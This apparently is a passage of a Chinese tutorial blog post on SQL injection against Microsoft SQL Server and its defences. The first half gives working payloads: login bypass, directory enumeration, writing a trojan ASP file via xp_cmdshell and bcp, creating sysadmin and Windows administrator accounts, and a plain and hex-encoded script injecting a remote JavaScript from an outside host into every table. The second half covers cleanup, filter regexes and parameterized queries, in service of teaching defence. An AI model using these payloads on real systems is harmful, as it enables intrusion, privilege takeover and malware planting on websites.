          SELECT COUNT(*) FROM Login WHERE UserName='admin' AND Password='123456'


          2) 輸入注入數(shù)據(jù):

          如圖,即用戶名為:用戶名:admin’—,密碼可隨便輸入

          合并的SQL為:

          SELECT COUNT(*) FROM Login WHERE UserName='admin'-- Password='123'

          因?yàn)閁serName值中輸入了“--”注釋符,后面語(yǔ)句被省略而登錄成功。(常常的手法:前面加上'; ' (分號(hào),用于結(jié)束前一條語(yǔ)句),后邊加上'--' (用于注釋后邊的語(yǔ)句))


          2. 上面是最簡(jiǎn)單的一種SQL注入,常見的注入語(yǔ)句還有:

          1) 猜測(cè)數(shù)據(jù)庫(kù)名,備份數(shù)據(jù)庫(kù)

          a) 猜測(cè)數(shù)據(jù)庫(kù)名: and db_name() >0 或系統(tǒng)表master.dbo.sysdatabases

          b) 備份數(shù)據(jù)庫(kù):;backup database 數(shù)據(jù)庫(kù)名 to disk=‘c:\*.db’;--

          或:declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目錄bak.dat' ,name='test';--

          2) 猜解字段名稱

          a) 拆解法:and (select count(字段名) from 表名)>0 若“字段名”存在,則返回正常

          b) 讀取法:and (select top 1 col_name(object_id('表名'),1) from sysobjects)>0 把col_name(object_id('表名'),1)中的1依次換成2,3,4,5,6…就可以得到所有的字段名稱。

          3) 遍歷系統(tǒng)的目錄結(jié)構(gòu),分析結(jié)構(gòu)并發(fā)現(xiàn)WEB虛擬目錄(服務(wù)器上傳木馬)

          先創(chuàng)建一個(gè)臨時(shí)表:;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--

          a) 利用xp_availablemedia來獲得當(dāng)前所有驅(qū)動(dòng)器,并存入temp表中

          ;insert temp exec master.dbo.xp_availablemedia;--

          b) 利用xp_subdirs獲得子目錄列表,并存入temp表中

          ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--

          c) 利用xp_dirtree可以獲得“所有”子目錄的目錄樹結(jié)構(gòu),并存入temp表中

          ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- (實(shí)驗(yàn)成功)

          d) 利用 bcp 命令將表內(nèi)容導(dǎo)成文件

          即插入木馬文本,然后導(dǎo)出存為文件。比如導(dǎo)出為asp文件,然后通過瀏覽器訪問該文件并執(zhí)行惡意腳本。(使用該命令必須啟動(dòng)’ xp_cmdshell’)

          Exec master..xp_cmdshell N'BCP "select * from SchoolMarket.dbo.GoodsStoreData;" queryout c:/inetpub/wwwroot/runcommand.asp -w -S"localhost" -U"sa" -P"123"'

          (注意:語(yǔ)句中使用的是雙引號(hào),另外表名格式為“數(shù)據(jù)庫(kù)名.用戶名.表名”)

          在sql查詢器中通過語(yǔ)句:Exec master..xp_cmdshell N'BCP’即可查看BCP相關(guān)參數(shù),如圖:

          4) 查詢當(dāng)前用戶的數(shù)據(jù)庫(kù)權(quán)限

          MSSQL中一共存在8種權(quán)限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。

          可通過1=(select IS_SRVROLEMEMBER('sysadmin'))得到當(dāng)前用戶是否具有該權(quán)限。

          5) 設(shè)置新的數(shù)據(jù)庫(kù)帳戶(得到MSSQL管理員賬戶)

          d) 在數(shù)據(jù)庫(kù)內(nèi)添加一個(gè)hax用戶,默認(rèn)密碼是空的

          ;exec sp_addlogin'hax';--

          e) 給hax設(shè)置密碼 (null是舊密碼,password是新密碼,user是用戶名)

          ;exec master.dbo.sp_password null,password,username;--

          f) 將hax添加到sysadmin組

          ;exec master.dbo.sp_addsrvrolemember 'hax' ,'sysadmin';--

          6) xp_cmdshell MSSQL存儲(chǔ)過程(得到 WINDOWS管理員賬戶 )

          通過(5)獲取到sysadmin權(quán)限的帳戶后,使用查詢分析器連接到數(shù)據(jù)庫(kù),可通過xp_cmdshell運(yùn)行系統(tǒng)命令行(必須是sysadmin權(quán)限),即使用 cmd.exe 工具,可以做什么自己多了解下。

          下面我們使用xp_cmdshell來創(chuàng)建一個(gè) Windows 用戶,并開啟遠(yuǎn)程登錄服務(wù):

          a) 判斷xp_cmdshell擴(kuò)展存儲(chǔ)過程是否存在

          SELECT count(*) FROM master.dbo.sysobjects WHERE xtype='X' AND name='xp_cmdshell'

          b) 恢復(fù)xp_cmdshell擴(kuò)展存儲(chǔ)過程

          Exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';

          開啟后使用xp_cmdshell還會(huì)報(bào)下面錯(cuò)誤:

          SQL Server 阻止了對(duì)組件 'xp_cmdshell' 的過程 'sys.xp_cmdshell' 的訪問,因?yàn)榇私M件已作為此服務(wù)器安全配置的一部分而被關(guān)閉。系統(tǒng)管理員可以通過使用sp_configure啟用 'xp_cmdshell'。有關(guān)啟用'xp_cmdshell' 的詳細(xì)信息,請(qǐng)參閱 SQL Server 聯(lián)機(jī)叢書中的 "外圍應(yīng)用配置器"。

          通過執(zhí)行下面的語(yǔ)句進(jìn)行設(shè)置:

          -- 允許配置高級(jí)選項(xiàng)

          EXEC sp_configure 'show advanced options', 1

          GO

          -- 重新配置

          RECONFIGURE

          GO

          -- 啟用xp_cmdshell

          EXEC sp_configure 'xp_cmdshell', 0

          GO

          --重新配置

          RECONFIGURE

          GO

          c) 禁用xp_cmdshell擴(kuò)展存儲(chǔ)過程

          Exec master.dbo.sp_dropextendedproc 'xp_cmdshell';

          d) 添加windows用戶:

          Exec xp_cmdshell 'net user awen /add';

          e) 設(shè)置好密碼:

          Exec xp_cmdshell 'net user awen password';

          f) 提升到管理人員:

          Exec xp_cmdshell 'net localgroup administrators awen /add';

          g) 開啟telnet服務(wù):

          Exec xp_cmdshell 'net start tlntsvr'

          7) 沒有xp_cmdshell擴(kuò)展程序,也可創(chuàng)建Windows帳戶的辦法.

          (本人windows7系統(tǒng),測(cè)試下面SQL語(yǔ)句木有效果)

          declare @shell int ;

          execsp_OAcreate 'w script .shell',@shell output ;

          execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net user awen /add';

          execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net user awen 123';

          execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net localgroup administrators awen /add';

          在使用的時(shí)候會(huì)報(bào)如下錯(cuò):

          SQL Server 阻止了對(duì)組件 'Ole Automation Procedures' 的過程 'sys.sp_OACreate'、'sys.sp_OAMethod' 的訪問,因?yàn)榇私M件已作為此服務(wù)器安全配置的一部分而被關(guān)閉。系統(tǒng)管理員可以通過使用sp_configure啟用 'Ole Automation Procedures'。有關(guān)啟用 'Ole Automation Procedures' 的詳細(xì)信息,請(qǐng)參閱 SQL Server 聯(lián)機(jī)叢書中的 "外圍應(yīng)用配置器"。

          解決辦法:

          sp_configure 'show advanced options', 1;

          GO

          RECONFIGURE;

          GO

          sp_configure 'Ole Automation Procedures', 1;

          GO

          RECONFIGURE;

          GO

          好了,這樣別人可以登錄你的服務(wù)器了,你怎么看?

          8) 客戶端腳本攻擊

          攻擊1:(正常輸入)攻擊者通過正常的輸入提交方式將惡意腳本提交到數(shù)據(jù)庫(kù)中,當(dāng)其他用戶瀏覽此內(nèi)容時(shí)就會(huì)受到惡意腳本的攻擊。

          措施:轉(zhuǎn)義提交的內(nèi)容,.NET 中可通過System.Net.WebUtility.HtmlEncode(string) 方法將字符串轉(zhuǎn)換為HTML編碼的字符串。


          攻擊2:(SQL注入)攻擊者通過SQL注入方式將惡意腳本提交到數(shù)據(jù)庫(kù)中,直接使用SQL語(yǔ)法UPDATE數(shù)據(jù)庫(kù),為了跳過System.Net.WebUtility.HtmlEncode(string) 轉(zhuǎn)義,攻擊者會(huì)將注入SQL經(jīng)過“HEX編碼”,然后通過exec可以執(zhí)行“動(dòng)態(tài)”SQL的特性運(yùn)行腳本”。

          參考:

          注入:SQL注入案例曝光,請(qǐng)大家提高警惕

          恢復(fù):批量清除數(shù)據(jù)庫(kù)中被植入的js

          示例代碼:(可在示例附帶的數(shù)據(jù)庫(kù)測(cè)試)

          a) 向當(dāng)前數(shù)據(jù)庫(kù)的每個(gè)表的每個(gè)字段插入一段惡意腳本


          1

          2

          3

          4

          5

          6

          7

          8

          9

          10

          11

          12

          13

          Declare @T Varchar(255),@C Varchar(255)

          Declare Table_Cursor Cursor For

          Select A.Name,B.Name

          From SysobjectsA,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167)

          Open Table_Cursor

          Fetch Next From Table_Cursor Into @T,@C

          While(@@Fetch_Status=0)

          Begin

          Exec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''<script src=http://8f8el3l.cn/0.js></script>''')

          Fetch Next From Table_Cursor Into @T,@C

          End

          Close Table_Cursor

          DeallocateTable_Cursor


          b) 更高級(jí)的攻擊,將上面的注入SQL進(jìn)行“HEX編碼”,從而避免程序的關(guān)鍵字檢查、腳本轉(zhuǎn)義等,通過EXEC執(zhí)行


          dEcLaRe @s vArChAr(8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72;

          eXeC(@s);--


          c) 批次刪除數(shù)據(jù)庫(kù)被注入的腳本


          declare @delStrnvarchar(500)

          set @delStr='<script src=http://8f8el3l.cn/0.js></script>' --要被替換掉字符

          setnocount on

          declare @tableNamenvarchar(100),@columnNamenvarchar(100),@tbIDint,@iRowint,@iResultint

          declare @sqlnvarchar(500)

          set @iResult=0

          declare cur cursor for

          selectname,id from sysobjects where xtype='U'

          open cur

          fetch next from cur into @tableName,@tbID

          while @@fetch_status=0

          begin

          declare cur1 cursor for

          --xtype in (231,167,239,175) 為char,varchar,nchar,nvarchar類型

          select name from syscolumns where xtype in (231,167,239,175) and id=@tbID

          open cur1

          fetch next from cur1 into @columnName

          while @@fetch_status=0

          begin

          set @sql='update [' + @tableName + '] set ['+ @columnName +']=replace(['+@columnName+'],'''+@delStr+''','''') where ['+@columnName+'] like ''%'+@delStr+'%'''

          execsp_executesql @sql

          set @iRow=@@rowcount

          set @iResult=@iResult+@iRow

          if @iRow>0

          begin

          print '表:'+@tableName+',列:'+@columnName+'被更新'+convert(varchar(10),@iRow)+'條記錄;'

          end

          fetch next from cur1 into @columnName

          end

          close cur1

          deallocate cur1

          fetch next from cur into @tableName,@tbID

          end

          print '數(shù)據(jù)庫(kù)共有'+convert(varchar(10),@iResult)+'條記錄被更新!!!'

          close cur

          deallocate cur

          setnocount off


          d) 我如何得到“HEX編碼”?

          開始不知道HEX是什么東西,后面查了是“十六進(jìn)制”,網(wǎng)上已經(jīng)給出兩種轉(zhuǎn)換方式:(注意轉(zhuǎn)換的時(shí)候不要加入十六進(jìn)制的標(biāo)示符 ’0x’ )

          ? 在線轉(zhuǎn)換 (TRANSLATOR, BINARY),進(jìn)入……

          ? C#版的轉(zhuǎn)換,進(jìn)入……

          9) 對(duì)于敏感詞過濾不到位的檢查,我們可以結(jié)合函數(shù)構(gòu)造SQL注入

          比如過濾了update,卻沒有過濾declare、exec等關(guān)鍵詞,我們可以使用reverse來將倒序的sql進(jìn)行注入:


          declare @A varchar(200);set @A=reverse('''58803303431''=emanresu erehw ''9d4d9c1ac9814f08''=drowssaP tes xxx tadpu');


          防止SQL注入

          1. 數(shù)據(jù)庫(kù)權(quán)限控制,只給訪問數(shù)據(jù)庫(kù)的web應(yīng)用功能所需的最低權(quán)限帳戶。

          如MSSQL中一共存在8種權(quán)限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。

          2. 自定義錯(cuò)誤信息,首先我們要屏蔽服務(wù)器的詳細(xì)錯(cuò)誤信息傳到客戶端。

          在 ASP.NET 中,可通過web.config配置文件的<customErrors>節(jié)點(diǎn)設(shè)置:


          <customErrors defaultRedirect="url" mode="On|Off|RemoteOnly">

          <error. . ./>

          </customErrors>


          更詳細(xì),請(qǐng)進(jìn)入……

          mode:指定是啟用或禁用自定義錯(cuò)誤,還是僅向遠(yuǎn)程客戶端顯示自定義錯(cuò)誤。


          On

          指定啟用自定義錯(cuò)誤。如果未指定defaultRedirect,用戶將看到一般性錯(cuò)誤。


          Off

          指定禁用自定義錯(cuò)誤。這允許顯示標(biāo)準(zhǔn)的詳細(xì)錯(cuò)誤。


          RemoteOnly

          指定僅向遠(yuǎn)程客戶端顯示自定義錯(cuò)誤并且向本地主機(jī)顯示ASP.NET 錯(cuò)誤。這是默認(rèn)值。


          看下效果圖:

          設(shè)置為<customErrors mode="On">一般性錯(cuò)誤:


          設(shè)置為<customErrors mode="Off">:


          3. 把危險(xiǎn)的和不必要的存儲(chǔ)過程刪除

          xp_:擴(kuò)展存儲(chǔ)過程的前綴,SQL注入攻擊得手之后,攻擊者往往會(huì)通過執(zhí)行xp_cmdshell之類的擴(kuò)展存儲(chǔ)過程,獲取系統(tǒng)信息,甚至控制、破壞系統(tǒng)。


          xp_cmdshell

          能執(zhí)行dos命令,通過語(yǔ)句sp_dropextendedproc刪除,

          不過依然可以通過sp_addextendedproc來恢復(fù),因此最好刪除或改名xplog70.dll(sql server 2000、windows7)

          xpsql70.dll(sqlserer 7.0)


          xp_fileexist

          用來確定一個(gè)文件是否存在


          xp_getfiledetails

          可以獲得文件詳細(xì)資料


          xp_dirtree

          可以展開你需要了解的目錄,獲得所有目錄深度


          Xp_getnetname

          可以獲得服務(wù)器名稱


          Xp_regaddmultistring

          Xp_regdeletekey

          Xp_regdeletevalue

          Xp_regenumvalues

          Xp_regread

          Xp_regremovemultistring

          Xp_regwrite

          可以訪問注冊(cè)表的存儲(chǔ)過程


          Sp_OACreate

          Sp_OADestroy

          Sp_OAGetErrorInfo

          Sp_OAGetProperty

          Sp_OAMethod

          Sp_OASetProperty

          Sp_OAStop

          如果你不需要請(qǐng)丟棄OLE自動(dòng)存儲(chǔ)過程


          4. 非參數(shù)化SQL與參數(shù)化SQL

          1) 非參數(shù)化(動(dòng)態(tài)拼接SQL)

          a) 檢查客戶端腳本:若使用.net,直接用System.Net.WebUtility.HtmlEncode(string)將輸入值中包含的《HTML特殊轉(zhuǎn)義字符》轉(zhuǎn)換掉。

          b) 類型檢查:對(duì)接收數(shù)據(jù)有明確要求的,在方法內(nèi)進(jìn)行類型驗(yàn)證。如數(shù)值型用int.TryParse(),日期型用DateTime.TryParse() ,只能用英文或數(shù)字等。

          c) 長(zhǎng)度驗(yàn)證:要進(jìn)行必要的注入,其語(yǔ)句也是有長(zhǎng)度的。所以如果你原本只允許輸入10字符,那么嚴(yán)格控制10個(gè)字符長(zhǎng)度,一些注入語(yǔ)句就沒辦法進(jìn)行。

          d) 使用枚舉:如果只有有限的幾個(gè)值,就用枚舉。

          e) 關(guān)鍵字過濾:這個(gè)門檻比較高,因?yàn)楦鱾€(gè)數(shù)據(jù)庫(kù)存在關(guān)鍵字,內(nèi)置函數(shù)的差異,所以對(duì)編寫此函數(shù)的功底要求較高。如公司或個(gè)人有積累一個(gè)比較好的通用過濾函數(shù)還請(qǐng)留言分享下,學(xué)習(xí)學(xué)習(xí),謝謝!

          這邊提供一個(gè)關(guān)鍵字過濾參考方案(MSSQL):


          public static bool ValiParms(string parms)

          {

          if (parms==null)

          {

          return false;

          }

          Regex regex=new Regex("sp_", RegexOptions.IgnoreCase);

          Regex regex2=new Regex("'", RegexOptions.IgnoreCase);

          Regex regex3=new Regex("create ", RegexOptions.IgnoreCase);

          Regex regex4=new Regex("drop ", RegexOptions.IgnoreCase);

          Regex regex5=new Regex("\"", RegexOptions.IgnoreCase);

          Regex regex6=new Regex("exec ", RegexOptions.IgnoreCase);

          Regex regex7=new Regex("xp_", RegexOptions.IgnoreCase);

          Regex regex8=new Regex("insert ", RegexOptions.IgnoreCase);

          Regex regex9=new Regex("delete ", RegexOptions.IgnoreCase);

          Regex regex10=new Regex("select ", RegexOptions.IgnoreCase);

          Regex regex11=new Regex("update ", RegexOptions.IgnoreCase);

          return (regex.IsMatch(parms) || (regex2.IsMatch(parms) || (regex3.IsMatch(parms) || (regex4.IsMatch(parms) || (regex5.IsMatch(parms) || (regex6.IsMatch(parms) || (regex7.IsMatch(parms) || (regex8.IsMatch(parms) || (regex9.IsMatch(parms) || (regex10.IsMatch(parms) || (regex11.IsMatch(parms))))))))))));

          }


          優(yōu)點(diǎn):寫法相對(duì)簡(jiǎn)單,網(wǎng)絡(luò)傳輸量相對(duì)參數(shù)化拼接SQL小

          缺點(diǎn):

          a) 對(duì)于關(guān)鍵字過濾,常常“顧此失彼”,如漏掉關(guān)鍵字,系統(tǒng)函數(shù),對(duì)于HEX編碼的SQL語(yǔ)句沒辦法識(shí)別等等,并且需要針對(duì)各個(gè)數(shù)據(jù)庫(kù)封裝函數(shù)。

          b) 無法滿足需求:用戶本來就想發(fā)表包含這些過濾字符的數(shù)據(jù)。

          c) 執(zhí)行拼接的SQL浪費(fèi)大量緩存空間來存儲(chǔ)只用一次的查詢計(jì)劃。服務(wù)器的物理內(nèi)存有限,SQLServer的緩存空間也有限。有限的空間應(yīng)該被充分利用。

          2) 參數(shù)化查詢(Parameterized Query)

          a) 檢查客戶端腳本,類型檢查,長(zhǎng)度驗(yàn)證,使用枚舉,明確的關(guān)鍵字過濾這些操作也是需要的。他們能盡早檢查出數(shù)據(jù)的有效性。

          b) 參數(shù)化查詢?cè)恚?/span>在使用參數(shù)化查詢的情況下,數(shù)據(jù)庫(kù)服務(wù)器不會(huì)將參數(shù)的內(nèi)容視為SQL指令的一部份來處理,而是在數(shù)據(jù)庫(kù)完成 SQL 指令的編譯后,才套用參數(shù)運(yùn)行,因此就算參數(shù)中含有具有損的指令,也不會(huì)被數(shù)據(jù)庫(kù)所運(yùn)行。

          c) 所以在實(shí)際開發(fā)中,入口處的安全檢查是必要的,參數(shù)化查詢應(yīng)作為最后一道安全防線。

          優(yōu)點(diǎn):

          ? 防止SQL注入(使單引號(hào)、分號(hào)、注釋符、xp_擴(kuò)展函數(shù)、拼接SQL語(yǔ)句、EXEC、SELECT、UPDATE、DELETE等SQL指令無效化)

          ? 參數(shù)化查詢能強(qiáng)制執(zhí)行類型和長(zhǎng)度檢查。

          ? 在MSSQL中生成并重用查詢計(jì)劃,從而提高查詢效率(執(zhí)行一條SQL語(yǔ)句,其生成查詢計(jì)劃將消耗大于50%的時(shí)間)

          缺點(diǎn):

          ? 不是所有數(shù)據(jù)庫(kù)都支持參數(shù)化查詢。目前Access、SQL Server、MySQL、SQLite、Oracle等常用數(shù)據(jù)庫(kù)支持參數(shù)化查詢。


          疑問:參數(shù)化如何“批量更新”數(shù)據(jù)庫(kù)。

          a) 通過在參數(shù)名上增加一個(gè)計(jì)數(shù)來區(qū)分開多個(gè)參數(shù)化語(yǔ)句拼接中的同名參數(shù)。

          EG:



          StringBuilder sqlBuilder=new StringBuilder(512);

          Int count=0;

          For(循環(huán))

          {

          sqlBuilder.AppendFormat(“UPDATE login SET password=@password{0} WHERE username=@userName{0}”,count.ToString());

          SqlParameter para=new SqlParamter(){ParameterName=@password+count.ToString()}

          ……

          Count++;

          }


          b) 通過MSSQL 2008的新特性:表值參數(shù),將C#中的整個(gè)表當(dāng)參數(shù)傳遞給存儲(chǔ)過程,由SQL做邏輯處理。注意C#中參數(shù)設(shè)置parameter.SqlDbType=System.Data.SqlDbType.Structured; 詳細(xì)請(qǐng)查看……


          疑慮:有部份的開發(fā)人員可能會(huì)認(rèn)為使用參數(shù)化查詢,會(huì)讓程序更不好維護(hù),或者在實(shí)現(xiàn)部份功能上會(huì)非常不便,然而,使用參數(shù)化查詢?cè)斐傻念~外開發(fā)成本,通常都遠(yuǎn)低于因?yàn)镾QL注入攻擊漏洞被發(fā)現(xiàn)而遭受攻擊,所造成的重大損失。


          另外:想驗(yàn)證重用查詢計(jì)劃的同學(xué),可以使用下面兩段輔助語(yǔ)法



          --清空緩存的查詢計(jì)劃

          DBCC FREEPROCCACHE

          GO

          --查詢緩存的查詢計(jì)劃

          SELECT stats.execution_count AS cnt, p.size_in_bytes AS [size], [sql].[text] AS [plan_text]

          FROM sys.dm_exec_cached_plans p

          OUTER APPLY sys.dm_exec_sql_text (p.plan_handle) sql

          JOIN sys.dm_exec_query_stats stats ON stats.plan_handle=p.plan_handle

          GO


          3) 參數(shù)化查詢示例

          效果如圖:

          參數(shù)化關(guān)鍵代碼:



          Private bool ProtectLogin(string userName, string password)

          {

          SqlParameter[] parameters=new SqlParameter[]

          {

          new SqlParameter{ParameterName="@UserName",SqlDbType=SqlDbType.NVarChar,Size=10,Value=userName},

          new SqlParameter{ParameterName="@Password",SqlDbType=SqlDbType.VarChar,Size=20,Value=password}

          };

          int count=(int)SqlHelper.Instance.ExecuteScalar

          ("SELECT COUNT(*) FROM Login WHERE UserName=@UserName AND Password=@password", parameters);

          return count > 0 ? true : false;

          }


          5. 存儲(chǔ)過程

          存儲(chǔ)過程(Stored Procedure)是在大型數(shù)據(jù)庫(kù)系統(tǒng)中,一組為了完成特定功能的SQL 語(yǔ)句集,經(jīng)編譯后存儲(chǔ)在數(shù)據(jù)庫(kù)中,用戶通過指定存儲(chǔ)過程的名字并給出參數(shù)(如果該存儲(chǔ)過程帶有參數(shù))來執(zhí)行它。

          優(yōu)點(diǎn):

          a) 安全性高,防止SQL注入并且可設(shè)定只有某些用戶才能使用指定存儲(chǔ)過程。

          b) 在創(chuàng)建時(shí)進(jìn)行預(yù)編譯,后續(xù)的調(diào)用不需再重新編譯。

          c) 可以降低網(wǎng)絡(luò)的通信量。存儲(chǔ)過程方案中用傳遞存儲(chǔ)過程名來代替SQL語(yǔ)句。

          缺點(diǎn):

          a) 非應(yīng)用程序內(nèi)聯(lián)代碼,調(diào)式麻煩。

          b) 修改麻煩,因?yàn)橐粩嗟那袚Q開發(fā)工具。(不過也有好的一面,一些易變動(dòng)的規(guī)則做到存儲(chǔ)過程中,如變動(dòng)就不需要重新編譯應(yīng)用程序)

          c) 如果在一個(gè)程序系統(tǒng)中大量的使用存儲(chǔ)過程,到程序交付使用的時(shí)候隨著用戶需求的增加會(huì)導(dǎo)致數(shù)據(jù)結(jié)構(gòu)的變化,接著就是系統(tǒng)的相關(guān)問題了,最后如果用戶想維護(hù)該系統(tǒng)可以說是很難很難(eg:沒有VS的查詢功能)。

          演示請(qǐng)下載示例程序,關(guān)鍵代碼為:


          cmd.CommandText=procName; // 傳遞存儲(chǔ)過程名

          cmd.CommandType=CommandType.StoredProcedure; // 標(biāo)識(shí)解析為存儲(chǔ)過程


          如果在存儲(chǔ)過程中SQL語(yǔ)法很復(fù)雜需要根據(jù)邏輯進(jìn)行拼接,這時(shí)是否還具有放注入的功能?

          答:MSSQL中可以通過 EXEC 和sp_executesql動(dòng)態(tài)執(zhí)行拼接的sql語(yǔ)句,但sp_executesql支持替換 Transact-SQL 字符串中指定的任何參數(shù)值, EXECUTE 語(yǔ)句不支持。所以只有使用sp_executesql方式才能啟到參數(shù)化防止SQL注入。

          關(guān)鍵代碼:(詳細(xì)見示例)

          a) sp_executesql



          CREATE PROCEDURE PROC_Login_executesql(

          @userNamenvarchar(10),

          @password nvarchar(10),

          @count int OUTPUT

          )

          AS

          BEGIN

          DECLARE @s nvarchar(1000);

          set @s=N'SELECT @count=COUNT(*) FROM Login WHERE UserName=@userName AND Password=@password';

          EXEC sp_executesql @s,N'@userName nvarchar(10),@password nvarchar(10),@count int output',@userName=@userName,@password=@password,@count=@count output

          END


          b) EXECUTE(注意sql中拼接字符,對(duì)于字符參數(shù)需要額外包一層單引號(hào),需要輸入兩個(gè)單引號(hào)來標(biāo)識(shí)sql中的一個(gè)單引號(hào))



          CREATE PROCEDURE PROC_Login_EXEC(

          @userNamenvarchar(10),

          @password varchar(20)

          )

          AS

          BEGIN

          DECLARE @s nvarchar(1000);

          set @s='SELECT @count=COUNT(*) FROM Login WHERE UserName='''+CAST(@userName AS NVARCHAR(10))+''' AND Password='''+CAST(@password AS VARCHAR(20))+'''';

          EXEC('DECLARE @count int;' +@s+'select @count');

          END


          注入截圖如下:



          6. 專業(yè)的SQL注入工具及防毒軟件

          情景1

          A:“丫的,又中毒了……”

          B:“我看看,你這不是裸機(jī)在跑嗎?”

          電腦上至少也要裝一款殺毒軟件或木馬掃描軟件,這樣可以避免一些常見的侵入。比如開篇提到的SQL創(chuàng)建windows帳戶,就會(huì)立馬報(bào)出警報(bào)。


          情景2

          A:“終于把網(wǎng)站做好了,太完美了,已經(jīng)檢查過沒有漏洞了!”

          A:“網(wǎng)站怎么被黑了,怎么入侵的???”

          公司或個(gè)人有財(cái)力的話還是有必要購(gòu)買一款專業(yè)SQL注入工具來驗(yàn)證下自己的網(wǎng)站,這些工具畢竟是專業(yè)的安全人員研發(fā),在安全領(lǐng)域都有自己的獨(dú)到之處。SQL注入工具介紹:10個(gè)SQL注入工具


          7. 額外小知識(shí):LIKE中的通配符

          盡管這個(gè)不屬于SQL注入,但是其被惡意使用的方式是和SQL注入類似的。

          參考:SQL中通配符的使用


          %

          包含零個(gè)或多個(gè)字符的任意字符串。


          _

          任何單個(gè)字符。


          []

          指定范圍(例如 [a-f])或集合(例如 [abcdef])內(nèi)的任何單個(gè)字符。


          [^]

          不在指定范圍(例如 [^a - f])或集合(例如 [^abcdef])內(nèi)的任何單個(gè)字符。


          在模糊查詢LIKE中,對(duì)于輸入數(shù)據(jù)中的通配符必須轉(zhuǎn)義,否則會(huì)造成客戶想查詢包含這些特殊字符的數(shù)據(jù)時(shí),這些特殊字符卻被解析為通配符。不與 LIKE 一同使用的通配符將解釋為常量而非模式。

          注意使用通配符的索引性能問題:

          a) like的第一個(gè)字符是'%'或'_'時(shí),為未知字符不會(huì)使用索引, sql會(huì)遍歷全表。

          b) 若通配符放在已知字符后面,會(huì)使用索引。

          網(wǎng)上有這樣的說法,不過我在MSSQL中使用 ctrl+L 執(zhí)行語(yǔ)法查看索引使用情況卻都沒有使用索引,可能在別的數(shù)據(jù)庫(kù)中會(huì)使用到索引吧……

          截圖如下:

          有兩種將通配符轉(zhuǎn)義為普通字符的方法:

          1) 使用ESCAPE關(guān)鍵字定義轉(zhuǎn)義符(通用)

          在模式中,當(dāng)轉(zhuǎn)義符置于通配符之前時(shí),該通配符就解釋為普通字符。例如,要搜索在任意位置包含字符串 5% 的字符串,請(qǐng)使用:

          WHERE ColumnA LIKE '%5/%%' ESCAPE '/'

          2) 在方括號(hào) ([ ]) 中只包含通配符本身,或要搜索破折號(hào) (-) 而不是用它指定搜索范圍,請(qǐng)將破折號(hào)指定為方括號(hào)內(nèi)的第一個(gè)字符。EG:


          符號(hào)

          含義


          LIKE '5[%]'

          5%


          LIKE '5%'

          5 后跟 0 個(gè)或多個(gè)字符的字符串


          LIKE '[_]n'

          _n


          LIKE '_n'

          an, in, on (and so on)


          LIKE '[a-cdf]'

          a、b、c、d 或 f


          LIKE '[-acdf]'

          -、a、c、d 或 f


          LIKE '[ [ ]'

          [


          LIKE ']'

          ] (右括號(hào)不需要轉(zhuǎn)義)


          所以,進(jìn)行過輸入?yún)?shù)的關(guān)鍵字過濾后,還需要做下面轉(zhuǎn)換確保LIKE的正確執(zhí)行



          private static string ConvertSqlForLike(string sql)

          {

          sql=sql.Replace("[", "[[]"); // 這句話一定要在下面兩個(gè)語(yǔ)句之前,否則作為轉(zhuǎn)義符的方括號(hào)會(huì)被當(dāng)作數(shù)據(jù)被再次處理

          sql=sql.Replace("_", "[_]");

          sql=sql.Replace("%", "[%]");

          return sql;

          }


          結(jié)束語(yǔ):感謝你耐心的觀看。恭喜你, SQL安全攻防你已經(jīng)入門了……


          參考文獻(xiàn):

          SQL注入天書

          (百度百科)SQL注入

          擴(kuò)展資料:

          Sql Server 編譯、重編譯與執(zhí)行計(jì)劃重用原理

          淺析Sql Server參數(shù)化查詢-----驗(yàn)證了參數(shù)的類型和長(zhǎng)度對(duì)參數(shù)化查詢影響

          Sql Server參數(shù)化查詢之where in和like實(shí)現(xiàn)詳解

          -----講述6種參數(shù)化實(shí)現(xiàn)方案

          webshell -----不當(dāng)小白,你必須認(rèn)識(shí)的專業(yè)術(shù)語(yǔ)。一個(gè)用于站長(zhǎng)管理,入侵者入侵的好工具

          SQL注入技術(shù)和跨站腳本攻擊的檢測(cè) -----講解使用正則表達(dá)式檢測(cè)注入

          XSS(百度百科) -------惡意攻擊者往Web頁(yè)面里插入惡意html代碼,當(dāng)用戶瀏覽該頁(yè)之時(shí),嵌入其中Web里面的html代碼會(huì)被執(zhí)行,從而達(dá)到惡意用戶的特殊目的。

